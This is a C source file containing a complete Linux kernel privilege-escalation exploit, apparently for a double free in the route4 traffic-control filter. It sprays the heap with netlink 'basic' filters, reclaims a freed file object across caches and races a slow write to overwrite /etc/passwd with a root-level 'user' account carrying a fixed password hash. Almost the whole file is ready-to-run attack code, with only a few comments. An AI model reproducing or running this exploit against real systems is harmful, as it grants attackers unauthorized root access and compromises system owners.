#define _GNU_SOURCE

#include <arpa/inet.h>

#include <assert.h>

#include <dirent.h>

#include <endian.h>

#include <errno.h>

#include <fcntl.h>

#include <net/if.h>

#include <net/if_arp.h>

#include <netinet/in.h>

#include <sched.h>

#include <signal.h>

#include <stdarg.h>

#include <stdbool.h>

#include <stdint.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/epoll.h>

#include <sys/ioctl.h>

#include <sys/ipc.h>

#include <sys/mount.h>

#include <sys/msg.h>

#include <sys/syscall.h>

#include <sys/time.h>

#include <sys/types.h>

#include <sys/uio.h>

#include <sys/wait.h>

#include <time.h>

#include <unistd.h>

#include <sys/shm.h>

#include <sys/stat.h>

#include <sys/timerfd.h>

#include <linux/tc_ematch/tc_em_meta.h>

#include <sys/resource.h>

#include <linux/capability.h>

#include <linux/futex.h>

#include <linux/genetlink.h>

#include <linux/if_addr.h>

#include <linux/if_ether.h>

#include <linux/if_link.h>

#include <linux/if_tun.h>

#include <linux/in6.h>

#include <linux/ip.h>

#include <linux/kcmp.h>

#include <linux/neighbour.h>

#include <linux/net.h>

#include <linux/netlink.h>

#include <linux/pkt_cls.h>

#include <linux/pkt_sched.h>

#include <linux/rtnetlink.h>

#include <linux/tcp.h>

#include <linux/veth.h>

#include <x86intrin.h>

#include <err.h>

#include <fcntl.h>

#include <poll.h>

#include <pthread.h>

#include <stdio.h>

#include <sys/ioctl.h>

#include <sys/mman.h>

#include <sys/utsname.h>

#include <unistd.h>

// #define DEBUG

char *target = "/etc/passwd";

char *overwrite =

"user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:root:/root:/bin/bash\n";

char *global;

char *self_path;

char *content;

#define PAGE_SIZE 0x1000

#define MAX_FILE_NUM 0x8000

int fds[MAX_FILE_NUM] = {};

int fd_2[MAX_FILE_NUM] = {};

int overlap_a = -1;

int overlap_b = -1;

int cpu_cores = 0;

int sockfd = -1;

int spray_num_1 = 2000;

int spray_num_2 = 4000;

// int spray_num_1 = 4000;

// int spray_num_2 = 5000;

int pipe_main[2];

int pipe_parent[2];

int pipe_child[2];

int pipe_defrag[2];

int pipe_file_spray[2][2];

int run_write = 0;

int run_spray = 0;

char *passwd;

bool overlapped = false;

void DumpHex(const void *data, size_t size) {

#ifdef DEBUG

char ascii[17];

size_t i, j;

ascii[16] = '\0';

for (i = 0; i < size; ++i) {

printf("%02X ", ((unsigned char *)data)[i]);

if (((unsigned char *)data)[i] >= ' ' &&

((unsigned char *)data)[i] <= '~') {

ascii[i % 16] = ((unsigned char *)data)[i];

} else {

ascii[i % 16] = '.';

}

if ((i + 1) % 8 == 0 || i + 1 == size) {

printf(" ");

if ((i + 1) % 16 == 0) {

printf("| %s \n", ascii);

} else if (i + 1 == size) {

ascii[(i + 1) % 16] = '\0';

if ((i + 1) % 16 <= 8) {

printf(" ");

}

for (j = (i + 1) % 16; j < 16; ++j) {

printf(" ");

}

printf("| %s \n", ascii);

}

}

}

#endif

}

void pin_on_cpu(int cpu) {

cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);

CPU_SET(cpu, &cpu_set);

if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) {

perror("sched_setaffinity()");

exit(EXIT_FAILURE);

}

}

static bool write_file(const char *file, const char *what, ...) {

char buf[1024];

va_list args;

va_start(args, what);

vsnprintf(buf, sizeof(buf), what, args);

va_end(args);

buf[sizeof(buf) - 1] = 0;

int len = strlen(buf);

int fd = open(file, O_WRONLY | O_CLOEXEC);

if (fd == -1)

return false;

if (write(fd, buf, len) != len) {

int err = errno;

close(fd);

errno = err;

return false;

}

close(fd);

return true;

}

static void use_temporary_dir(void) {

system("rm -rf exp_dir; mkdir exp_dir; touch exp_dir/data");

system("touch exp_dir/data2");

char *tmpdir = "exp_dir";

if (!tmpdir)

exit(1);

if (chmod(tmpdir, 0777))

exit(1);

if (chdir(tmpdir))

exit(1);

symlink("./data", "./uaf");

}

static void setup_common() {

if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {

}

}

static void adjust_rlimit() {

struct rlimit rlim;

rlim.rlim_cur = rlim.rlim_max = (200 << 20);

setrlimit(RLIMIT_AS, &rlim);

rlim.rlim_cur = rlim.rlim_max = 32 << 20;

setrlimit(RLIMIT_MEMLOCK, &rlim);

rlim.rlim_cur = rlim.rlim_max = 136 << 20;

// setrlimit(RLIMIT_FSIZE, &rlim);

rlim.rlim_cur = rlim.rlim_max = 1 << 20;

setrlimit(RLIMIT_STACK, &rlim);

rlim.rlim_cur = rlim.rlim_max = 0;

setrlimit(RLIMIT_CORE, &rlim);

// RLIMIT_FILE

rlim.rlim_cur = rlim.rlim_max = 14096;

if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) {

rlim.rlim_cur = rlim.rlim_max = 4096;

spray_num_1 = 1200;

spray_num_2 = 2800;

if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) {

perror("setrlimit");

err(1, "setrlimit");

}

}

}

void setup_namespace() {

int real_uid = getuid();

int real_gid = getgid();

if (unshare(CLONE_NEWUSER) != 0) {

perror("[-] unshare(CLONE_NEWUSER)");

exit(EXIT_FAILURE);

}

if (unshare(CLONE_NEWNET) != 0) {

perror("[-] unshare(CLONE_NEWUSER)");

exit(EXIT_FAILURE);

}

if (!write_file("/proc/self/setgroups", "deny")) {

perror("[-] write_file(/proc/self/set_groups)");

exit(EXIT_FAILURE);

}

if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {

perror("[-] write_file(/proc/self/uid_map)");

exit(EXIT_FAILURE);

}

if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {

perror("[-] write_file(/proc/self/gid_map)");

exit(EXIT_FAILURE);

}

}

#define NLMSG_TAIL(nmsg) \

((struct rtattr *)(((void *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len)))

int addattr(char *attr, int type, void *data, int len) {

struct rtattr *rta = (struct rtattr *)attr;

rta->rta_type = type;

rta->rta_len = RTA_LENGTH(len);

if (len) {

memcpy(RTA_DATA(attr), data, len);

}

return RTA_LENGTH(len);

}

int addattr_l(struct nlmsghdr *n, int maxlen, int type, const void *data,

int alen) {

int len = RTA_LENGTH(alen);

struct rtattr *rta;

if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) {

fprintf(stderr, "addattr_l ERROR: message exceeded bound of %d\n", maxlen);

return -1;

}

rta = NLMSG_TAIL(n);

rta->rta_type = type;

rta->rta_len = len;

if (alen)

memcpy(RTA_DATA(rta), data, alen);

n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len);

return 0;

}

struct rtattr *addattr_nest(struct nlmsghdr *n, int maxlen, int type) {

struct rtattr *nest = NLMSG_TAIL(n);

addattr_l(n, maxlen, type, NULL, 0);

return nest;

}

int addattr_nest_end(struct nlmsghdr *n, struct rtattr *nest) {

nest->rta_len = (void *)NLMSG_TAIL(n) - (void *)nest;

return n->nlmsg_len;

}

int add_qdisc(int fd) {

char *start = malloc(0x1000);

memset(start, 0, 0x1000);

struct nlmsghdr *msg = (struct nlmsghdr *)start;

// new qdisc

msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));

msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_CREATE;

msg->nlmsg_type = RTM_NEWQDISC;

struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr));

// set local

t->tcm_ifindex = 1;

t->tcm_family = AF_UNSPEC;

t->tcm_parent = TC_H_ROOT;

// prio, protocol

u_int32_t prio = 1;

u_int32_t protocol = 1;

t->tcm_info = TC_H_MAKE(prio << 16, protocol);

addattr_l(msg, 0x1000, TCA_KIND, "sfq", 4);

// packing

#ifdef DEBUG

DumpHex(msg, msg->nlmsg_len);

#endif

struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len};

struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK};

struct msghdr msgh = {

.msg_name = &nladdr,

.msg_namelen = sizeof(nladdr),

.msg_iov = &iov,

.msg_iovlen = 1,

};

return sendmsg(fd, &msgh, 0);

}

int add_tc_(int fd, u_int32_t from, u_int32_t to, u_int32_t handle,

u_int16_t flags) {

char *start = malloc(0x2000);

memset(start, 0, 0x2000);

struct nlmsghdr *msg = (struct nlmsghdr *)start;

// new filter

msg = msg + msg->nlmsg_len;

msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));

msg->nlmsg_flags = NLM_F_REQUEST | flags;

msg->nlmsg_type = RTM_NEWTFILTER;

struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr));

// prio, protocol

u_int32_t prio = 1;

u_int32_t protocol = 1;

t->tcm_info = TC_H_MAKE(prio << 16, protocol);

t->tcm_ifindex = 1;

t->tcm_family = AF_UNSPEC;

t->tcm_handle = handle;

addattr_l(msg, 0x1000, TCA_KIND, "route", 6);

struct rtattr *tail = addattr_nest(msg, 0x1000, TCA_OPTIONS);

addattr_l(msg, 0x1000, TCA_ROUTE4_FROM, &from, 4);

addattr_l(msg, 0x1000, TCA_ROUTE4_TO, &to, 4);

addattr_nest_end(msg, tail);

// packing

struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len};

struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK};

struct msghdr msgh = {

.msg_name = &nladdr,

.msg_namelen = sizeof(nladdr),

.msg_iov = &iov,

.msg_iovlen = 1,

};

sendmsg(fd, &msgh, 0);

free(start);

return 1;

}

void add_tc(int sockfd, uint32_t handle, uint16_t flag) {

add_tc_(sockfd, 0, handle, (handle << 8) + handle, flag);

}

uint32_t calc_handle(uint32_t from, uint32_t to) {

uint32_t handle = to;

assert(from <= 0xff && to <= 0xff);

handle |= from << 16;

if (((handle & 0x7f00) | handle) != handle)

return 0;

if (handle == 0 || (handle & 0x8000))

return 0;

return handle;

}

void *delete_tc_(int sockfd, u_int32_t handle) {

char *start = malloc(0x4000);

memset(start, 0, 0x4000);

struct nlmsghdr *msg = (struct nlmsghdr *)start;

// new filter

msg = msg + msg->nlmsg_len;

msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));

msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_ECHO;

msg->nlmsg_type = RTM_DELTFILTER;

struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr));

// prio, protocol

u_int32_t prio = 1;

u_int32_t protocol = 1;

t->tcm_info = TC_H_MAKE(prio << 16, protocol);

t->tcm_ifindex = 1;

t->tcm_family = AF_UNSPEC;

t->tcm_handle = handle;

addattr_l(msg, 0x1000, TCA_KIND, "route", 6);

struct rtattr *tail = addattr_nest(msg, 0x1000, TCA_OPTIONS);

addattr_nest_end(msg, tail);

// packing

struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len};

struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK};

struct msghdr msgh = {

.msg_name = &nladdr,

.msg_namelen = sizeof(nladdr),

.msg_iov = &iov,

.msg_iovlen = 1,

};

sendmsg(sockfd, &msgh, 0);

memset(start, 0, 0x4000);

iov.iov_len = 0x4000;

iov.iov_base = start;

recvmsg(sockfd, &msgh, 0);

if (msgh.msg_namelen != sizeof(nladdr)) {

printf("size of sender address is wrong\n");

}

return start;

}

void delete_tc(int sockfd, uint32_t handle) {

delete_tc_(sockfd, ((handle) << 8) + (handle));

}

// basic for spray

int add_tc_basic(int fd, uint32_t handle, void *spray_data, size_t spray_len,

int spray_count) {

assert(spray_len * spray_count < 0x3000);

char *start = malloc(0x4000);

memset(start, 0, 0x4000);

struct nlmsghdr *msg = (struct nlmsghdr *)start;

// new filter

msg = msg + msg->nlmsg_len;

msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));

msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; // | flags;

msg->nlmsg_type = RTM_NEWTFILTER;

struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr));

// prio, protocol

u_int32_t prio = 1;

u_int32_t protocol = 1;

t->tcm_info = TC_H_MAKE(prio << 16, protocol);

t->tcm_ifindex = 1;

t->tcm_family = AF_UNSPEC;

t->tcm_handle = handle;

// t->tcm_parent = TC_H_ROOT;

addattr_l(msg, 0x4000, TCA_KIND, "basic", 6);

struct rtattr *tail = addattr_nest(msg, 0x4000, TCA_OPTIONS);

struct rtattr *ema_tail = addattr_nest(msg, 0x4000, TCA_BASIC_EMATCHES);

struct tcf_ematch_tree_hdr tree_hdr = {.nmatches = spray_count / 2,

.progid = 0};

addattr_l(msg, 0x4000, TCA_EMATCH_TREE_HDR, &tree_hdr, sizeof(tree_hdr));

struct rtattr *rt_match_tail =

addattr_nest(msg, 0x4000, TCA_EMATCH_TREE_LIST);

char *data = malloc(0x3000);

for (int i = 0; i < tree_hdr.nmatches; i++) {

char *current;

memset(data, 0, 0x3000);

struct tcf_ematch_hdr *hdr = (struct tcf_ematch_hdr *)data;

hdr->kind = TCF_EM_META;

hdr->flags = TCF_EM_REL_AND;

current = data + sizeof(*hdr);

struct tcf_meta_hdr meta_hdr = {

.left.kind = TCF_META_TYPE_VAR << 12 | TCF_META_ID_DEV,

.right.kind = TCF_META_TYPE_VAR << 12 | TCF_META_ID_DEV,

};

current += addattr(current, TCA_EM_META_HDR, &meta_hdr, sizeof(hdr));

current += addattr(current, TCA_EM_META_LVALUE, spray_data, spray_len);

current += addattr(current, TCA_EM_META_RVALUE, spray_data, spray_len);

addattr_l(msg, 0x4000, i + 1, data, current - data);

}

addattr_nest_end(msg, rt_match_tail);

addattr_nest_end(msg, ema_tail);

addattr_nest_end(msg, tail);

// packing

struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len};

struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK};

struct msghdr msgh = {

.msg_name = &nladdr,

.msg_namelen = sizeof(nladdr),

.msg_iov = &iov,

.msg_iovlen = 1,

};

sendmsg(fd, &msgh, 0);

free(data);

free(start);

return 1;

}

void *delete_tc_basic(int sockfd, u_int32_t handle) {

char *start = malloc(0x4000);

memset(start, 0, 0x4000);

struct nlmsghdr *msg = (struct nlmsghdr *)start;

// new filter

msg = msg + msg->nlmsg_len;

msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));

msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_ECHO;

msg->nlmsg_type = RTM_DELTFILTER;

struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr));

// prio, protocol

u_int32_t prio = 1;

u_int32_t protocol = 1;

t->tcm_info = TC_H_MAKE(prio << 16, protocol);

t->tcm_ifindex = 1;

t->tcm_family = AF_UNSPEC;

t->tcm_handle = handle;

// t->tcm_parent = TC_H_ROOT;

addattr_l(msg, 0x1000, TCA_KIND, "basic", 6);

struct rtattr *tail = addattr_nest(msg, 0x1000, TCA_OPTIONS);

addattr_nest_end(msg, tail);

// packing

struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len};

struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK};

struct msghdr msgh = {

.msg_name = &nladdr,

.msg_namelen = sizeof(nladdr),

.msg_iov = &iov,

.msg_iovlen = 1,

};

sendmsg(sockfd, &msgh, 0);

memset(start, 0, 0x4000);

iov.iov_len = 0x4000;

iov.iov_base = start;

recvmsg(sockfd, &msgh, 0);

if (msgh.msg_namelen != sizeof(nladdr)) {

printf("size of sender address is wrong\n");

}

return start;

}

void *slow_write() {

printf("start slow write\n");

clock_t start, end;

int fd = open("./uaf", 1);

if (fd < 0) {

perror("error open uaf file");

exit(-1);

}

unsigned long int addr = 0x30000000;

int offset;

for (offset = 0; offset < 0x80000 / 20; offset++) {

void *r = mmap((void *)(addr + offset * 0x1000), 0x1000,

PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);

if (r < 0) {

printf("allocate failed at 0x%x\n", offset);

}

}

assert(offset > 0);

void *mem = (void *)(addr);

memcpy(mem, "hhhhh", 5);

struct iovec iov[20];

for (int i = 0; i < 20; i++) {

iov[i].iov_base = mem;

iov[i].iov_len = offset * 0x1000;

}

run_write = 1;

start = clock();

// 2GB max

if (writev(fd, iov, 20) < 0) {

perror("slow write");

}

end = clock();

double spent = (double)(end - start) / CLOCKS_PER_SEC;

printf("write done, spent %f s\n", spent);

run_write = 0;

}

void *write_cmd() {

// user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash

char data[1024] =

"user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash";

// struct iovec iov = {.iov_base = data, .iov_len = strlen(data)};

struct iovec iov = {.iov_base = content, .iov_len = strlen(content)};

while (!run_write) {

}

run_spray = 1;

if (writev(overlap_a, &iov, 1) < 0) {

printf("failed to write\n");

}

printf("should be after the slow write\n");

}

void pre_exploit() {

adjust_rlimit();

use_temporary_dir();

setup_namespace();

}

void exploit() {

char buf[2 * PAGE_SIZE] = {};

char msg[0x10] = {};

char *spray;

int cc;

struct rlimit old_lim, lim, new_lim;

// Get old limits

if (getrlimit(RLIMIT_NOFILE, &old_lim) == 0)

printf("Old limits -> soft limit= %ld \t"

" hard limit= %ld \n",

old_lim.rlim_cur, old_lim.rlim_max);

pin_on_cpu(0);

printf("starting exploit, num of cores: %d\n", cpu_cores);

sockfd = socket(PF_NETLINK, SOCK_RAW, 0);

assert(sockfd != -1);

add_qdisc(sockfd);

// wait for parent

if (read(pipe_child[0], msg, 2) != 2) {

err(1, "read from parent");

}

// allocate the vulnerable object

add_tc_(sockfd, 0, 0, 0, NLM_F_EXCL | NLM_F_CREATE);

// ask parent to keep spraying

if (write(pipe_parent[1], "OK", 2) != 2) {

err(1, "write to child");

}

if (read(pipe_child[0], msg, 2) != 2) {

err(1, "read from parent");

}

// free the object, to free the slab

add_tc_(sockfd, 0x11, 0x12, 0, NLM_F_CREATE);

// wait for the vulnerable object being freed

usleep(500 * 1000);

printf("freed the filter object\n");

// sync

if (write(pipe_parent[1], "OK", 2) != 2) {

err(1, "write to child");

}

if (read(pipe_child[0], msg, 2) != 2) {

err(1, "read from parent");

}

usleep(1000 * 1000);

for (int i = 0; i < spray_num_1; i++) {

pin_on_cpu(i % cpu_cores);

fds[i] = open("./data2", 1);

assert(fds[i] > 0);

}

// double free route4, which will free the file

add_tc_(sockfd, 0x11, 0x13, 0, NLM_F_CREATE);

usleep(1000 * 100);

// should not sleep too long, otherwise file might be claimed by others

printf("double free done\n");

printf("spraying files\n");

// the following is to figure out which file is freed

for (int i = 0; i < spray_num_2; i++) {

pin_on_cpu(i % cpu_cores);

fd_2[i] = open("./uaf", 1);

assert(fd_2[i] > 0);

for (int j = 0; j < spray_num_1; j++) {

if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, fds[j], fd_2[i]) ==

0) {

printf("found overlap, id : %d, %d\n", i, j);

overlap_a = fds[j];

overlap_b = fd_2[i];

pthread_t pid, pid2;

pthread_create(&pid, NULL, slow_write, NULL);

pthread_create(&pid2, NULL, write_cmd, NULL);

while (!run_spray) {

}

close(overlap_a);

close(overlap_b);

printf("closed overlap\n");

usleep(1000 * 100);

int spray_num = 4096;

write(pipe_file_spray[0][1], &spray_num, sizeof(int));

if (read(pipe_file_spray[1][0], &msg, 2) != 2) {

err(1, "read from file spray");

}

overlapped = true;

}

}

if (overlapped)

break;

}

sleep(3);

while (run_write) {

sleep(1);

}

if (!overlapped) {

printf("no overlap found :(...\n");

write(pipe_main[1], "\xff", 1);

} else {

int xx = open(target, 0);

char buf[0x100] = {};

// check if user in the passwd

read(xx, buf, 0x30);

if (!strncmp(buf, "user", 4)) {

write(pipe_main[1], "\x00", 1);

} else {

printf("not successful : %s\n", buf);

write(pipe_main[1], "\xff", 1);

}

}

while (1) {

sleep(1000);

}

}

void post_exploit() {}

// this poc assume we have a heap address leaked

int run_exp() {

if (pipe(pipe_parent) == -1) {

err(1, "fail to create pipes\n");

}

if (pipe(pipe_child) == -1) {

err(1, "fail to create pipes\n");

}

if (pipe(pipe_defrag) == -1) {

err(1, "fail to create pipes\n");

}

if (pipe(pipe_file_spray[0]) == -1) {

err(1, "fail to create pipes\n");

}

if (pipe(pipe_file_spray[1]) == -1) {

err(1, "fail to create pipes\n");

}

cpu_cores = sysconf(_SC_NPROCESSORS_ONLN);

if (fork() == 0) {

// thread for spraying file we want to overwrite

adjust_rlimit();

int spray_num = 0;

if (read(pipe_file_spray[0][0], &spray_num, sizeof(int)) < sizeof(int)) {

err(1, "read file spray");

}

printf("got cmd, start spraying %s\n", target);

spray_num = 4096;

if (fork() == 0) {

for (int i = 0; i < spray_num; i++) {

pin_on_cpu(i % cpu_cores);

open(target, 0);

}

while (1) {

sleep(10000);

}

}

for (int i = 0; i < spray_num; i++) {

pin_on_cpu(i % cpu_cores);

open(target, 0);

}

printf("spray done\n");

write(pipe_file_spray[1][1], "OK", 2);

while (1) {

sleep(10000);

}

exit(0);

}

if (fork() == 0) {

pin_on_cpu(0);

pre_exploit();

exploit();

post_exploit();

} else {

sleep(2);

if (fork() == 0) {

// do the defragmentation to exhaust all file slabs

// for cross cache

adjust_rlimit();

for (int i = 0; i < 10000; i++) {

pin_on_cpu(i % cpu_cores);

open(target, 0);

}

printf("defrag done\n");

if (write(pipe_defrag[1], "OK", 2) != 2) {

err(1, "failed write defrag");

}

while (1) {

sleep(1000);

}

} else {

// memory spray thread

setup_namespace();

pin_on_cpu(0);

int sprayfd = socket(PF_NETLINK, SOCK_RAW, 0);

assert(sprayfd != -1);

add_qdisc(sprayfd);

char msg[0x10] = {};

char payload[256] = {};

memset(payload + 0x10, 'A', 256 - 0x10);

if (read(pipe_defrag[0], msg, 2) != 2) {

err(1, "failed read defrag");

}

// if the exploit keeps failing, please tune the middle and end

int middle = 38;

int end = middle + 40;

// preparing for cross cache

for (int i = 0; i < middle; i++) {

add_tc_basic(sprayfd, i + 1, payload, 193, 32);

}

add_tc_basic(sprayfd, middle + 1, payload, 193, 32);

add_tc_basic(sprayfd, middle + 2, payload, 193, 32);

add_tc_basic(sprayfd, middle + 3, payload, 193, 32);

if (write(pipe_child[1], "OK", 2) != 2) {

err(1, "write to parent\n");

}

// allocate route4

if (read(pipe_parent[0], msg, 2) != 2) {

err(1, "read from parent");

}

// add_tc_basic(sprayfd, middle+2, payload, 129, 32);

// prepare another part for cross cache

for (int i = middle + 2; i < end; i++) {

add_tc_basic(sprayfd, i + 1, payload, 193, 32);

}

printf("spray 256 done\n");

for (int i = 1; i < end - 24; i++) {

// prevent double free of 192

// and being reclaimed by others

if (i == middle || i == middle + 1)

continue;

delete_tc_basic(sprayfd, i + 1);

}

if (write(pipe_child[1], "OK", 2) != 2) {

err(1, "write to parent\n");

}

// free route4 here

if (read(pipe_parent[0], msg, 2) != 2) {

err(1, "read from parent");

}

// if (cpu_cores == 1) sleep(1);

delete_tc_basic(sprayfd, middle + 2);

delete_tc_basic(sprayfd, middle + 3);

delete_tc_basic(sprayfd, 1);

for (int i = middle + 2; i < end; i++) {

delete_tc_basic(sprayfd, i + 1);

}

printf("256 freed done\n");

if (write(pipe_child[1], "OK", 2) != 2) {

err(1, "write to parent\n");

}

while (1) {

sleep(1000);

}

}

}

}

int main(int argc, char **argv) {

global = (char *)mmap(NULL, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC,

MAP_SHARED | MAP_ANON, -1, 0);

memset(global, 0, 0x2000);

self_path = global;

snprintf(self_path, 0x100, "%s/%s", get_current_dir_name(), argv[0]);

printf("self path %s\n", self_path);

int fd = open(target, 0);

content = (char *)(global + 0x100);

strcpy(content, overwrite);

read(fd, content + strlen(overwrite), 0x1000);

close(fd);

assert(pipe(pipe_main) == 0);

printf("prepare done\n");

if (fork() == 0) {

run_exp();

while (1) {

sleep(10000);

}

}

char data;

read(pipe_main[0], &data, 1);

if (data == 0) {

printf("succeed\n");

} else {

printf("failed\n");

}

}